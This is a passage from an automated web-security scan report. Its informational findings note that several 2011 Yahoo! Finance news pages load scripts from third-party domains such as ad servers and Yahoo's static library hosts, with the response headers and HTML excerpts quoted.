s/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js"></script>
<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js"></script>

<script type="text/javascript" src="http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js"></script>

<script type="text/javascript" src="http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js"></script>
...[SNIP]...

17.4. http://finance.yahoo.com/news/Primary-Petroleum-Present-iw-1675004773.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Primary-Petroleum-Present-iw-1675004773.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15uc3utsg/M=601783366.602850899.828879551.828879551/D=fin/S=2142204589:NE3/Y=YAHOO/EXP=1315518411/L=JQQ3xEPDkjlyLfaOTmkbkQG6Mhd7ak5pG6sAB4Xp/B=gb6_QNj8fXo-/J=1315511211721576/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511211721576
http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bTVxcmY5ZyhnaWQkSlFRM3hFUERramx5TGZhT1Rta2JrUUc2TWhkN2FrNXBHNnNBQjRYcCxzdCQxMzE1NTExMjExNjU1NjEzLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJDlLR0Q4RVBEbjJjLSxjdCQyNSx5YngkanZtVF9KX2U1ZDZTTGxfRlJtSmZIUSxyJDEscmQkMTZpb2FybW40KSk/1/*http://global.ard.yahoo.com/SIG=15ihhp96g/M=999999.999999.999999.999999/D=fin/S=2142204589:NE3/Y=YAHOO/EXP=1315518411/L=JQQ3xEPDkjlyLfaOTmkbkQG6Mhd7ak5pG6sAB4Xp/B=9KGD8EPDn2c-/J=1315511211708645/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3740502269917550892/R=1/X=6/*;ord=1315511211.708645?
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js
http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js
http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js
http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:51 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: MwPhCom_degraded_status=false; path=/
Vary: Accept-Encoding
Content-Type: text/html;charset=utf-8
Cache-Control: private
Age: 0
Connection: close
Server: YTS/1.20.7

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
<title>Primary Petroleum to Present at Rodman & Renshaw Annual Global Inv
...[SNIP]...
jw/A=3560010564270340046/R=1/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511211721576?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' src="http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15uc3utsg/M=601783366.602850899.828879551.828879551/D=fin/S=2142204589:NE3/Y=YAHOO/EXP=1315518411/L=JQQ3xEPDkjlyLfaOTmkbkQG6Mhd7ak5pG6sAB4Xp/B=gb6_QNj8fXo-/J=1315511211721576/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511211721576"></SCRIPT>
...[SNIP]...
645/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3740502269917550892/R=0/X=6/*;ord=1315511211.708645?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bTVxcmY5ZyhnaWQkSlFRM3hFUERramx5TGZhT1Rta2JrUUc2TWhkN2FrNXBHNnNBQjRYcCxzdCQxMzE1NTExMjExNjU1NjEzLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJDlLR0Q4RVBEbjJjLSxjdCQyNSx5YngkanZtVF9KX2U1ZDZTTGxfRlJtSmZIUSxyJDEscmQkMTZpb2FybW40KSk/1/*http://global.ard.yahoo.com/SIG=15ihhp96g/M=999999.999999.999999.999999/D=fin/S=2142204589:NE3/Y=YAHOO/EXP=1315518411/L=JQQ3xEPDkjlyLfaOTmkbkQG6Mhd7ak5pG6sAB4Xp/B=9KGD8EPDn2c-/J=1315511211708645/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3740502269917550892/R=1/X=6/*;ord=1315511211.708645?"></SCRIPT>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js"></script>
<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js"></script>

<script type="text/javascript" src="http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js"></script>

<script type="text/javascript" src="http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js"></script>
...[SNIP]...

17.5. http://finance.yahoo.com/news/Retail-gasoline-prices-up-apf-2916275523.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Retail-gasoline-prices-up-apf-2916275523.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15ur7g5ct/M=601783366.602850899.828879551.828879551/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518413/L=six2AEPDkjlyLfaOTmkbkQPdMhd7ak5pG60AAHZy/B=ZOssEUoGYnY-/J=1315511213242680/K=oFwIFJZHHhfAtGstLfGRCw/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511213242680
http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bThhcmliZihnaWQkc2l4MkFFUERramx5TGZhT1Rta2JrUVBkTWhkN2FrNXBHNjBBQUhaeSxzdCQxMzE1NTExMjEzMTA0ODgxLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJEFOM3h4RVBEbU93LSxjdCQyNSx5YngkM3p1NktfSzB5ak9NUUdkRnNmdzYzUSxyJDEscmQkMTZpcW9scTd1KSk/1/*http://global.ard.yahoo.com/SIG=15iegc1eg/M=999999.999999.999999.999999/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518413/L=six2AEPDkjlyLfaOTmkbkQPdMhd7ak5pG60AAHZy/B=AN3xxEPDmOw-/J=1315511213221266/K=oFwIFJZHHhfAtGstLfGRCw/A=3740502269917550892/R=1/X=6/*;ord=1315511213.221266?
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js
http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js
http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js
http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:53 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: MwPhCom_degraded_status=false; path=/
Vary: Accept-Encoding
Content-Type: text/html;charset=utf-8
Cache-Control: private
Age: 0
Connection: close
Server: YTS/1.20.7

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
<title>Retail gasoline prices up penny in Texas - Yahoo! Finance</title>
<
...[SNIP]...
Cw/A=3560010564270340046/R=1/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511213242680?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' src="http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15ur7g5ct/M=601783366.602850899.828879551.828879551/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518413/L=six2AEPDkjlyLfaOTmkbkQPdMhd7ak5pG60AAHZy/B=ZOssEUoGYnY-/J=1315511213242680/K=oFwIFJZHHhfAtGstLfGRCw/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511213242680"></SCRIPT>
...[SNIP]...
266/K=oFwIFJZHHhfAtGstLfGRCw/A=3740502269917550892/R=0/X=6/*;ord=1315511213.221266?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bThhcmliZihnaWQkc2l4MkFFUERramx5TGZhT1Rta2JrUVBkTWhkN2FrNXBHNjBBQUhaeSxzdCQxMzE1NTExMjEzMTA0ODgxLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJEFOM3h4RVBEbU93LSxjdCQyNSx5YngkM3p1NktfSzB5ak9NUUdkRnNmdzYzUSxyJDEscmQkMTZpcW9scTd1KSk/1/*http://global.ard.yahoo.com/SIG=15iegc1eg/M=999999.999999.999999.999999/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518413/L=six2AEPDkjlyLfaOTmkbkQPdMhd7ak5pG60AAHZy/B=AN3xxEPDmOw-/J=1315511213221266/K=oFwIFJZHHhfAtGstLfGRCw/A=3740502269917550892/R=1/X=6/*;ord=1315511213.221266?"></SCRIPT>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js"></script>
<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js"></script>

<script type="text/javascript" src="http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js"></script>

<script type="text/javascript" src="http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js"></script>
...[SNIP]...

17.6. http://finance.yahoo.com/news/US-Steel-converts-vehicles-to-apf-2954052497.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/US-Steel-converts-vehicles-to-apf-2954052497.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15ungo32o/M=601783366.602850899.828879551.828879551/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518412/L=ir6wC0PDkjlyLfaOTmkbkQCXMhd7ak5pG6wAADq1/B=8C5wQ0oGYv4-/J=1315511212160622/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212160622
http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bTU4bTYxcyhnaWQkaXI2d0MwUERramx5TGZhT1Rta2JrUUNYTWhkN2FrNXBHNndBQURxMSxzdCQxMzE1NTExMjEyMDk2NDcyLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJE1Pa0F4RVBEbjJ3LSxjdCQyNSx5YngkV2ZKclMxOUhBVjRUb2pTclltWXZ0QSxyJDEscmQkMTZpcGxwMXYxKSk/1/*http://global.ard.yahoo.com/SIG=15ieq8kgm/M=999999.999999.999999.999999/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518412/L=ir6wC0PDkjlyLfaOTmkbkQCXMhd7ak5pG6wAADq1/B=MOkAxEPDn2w-/J=1315511212148814/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3740502269917550892/R=1/X=6/*;ord=1315511212.148814?
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi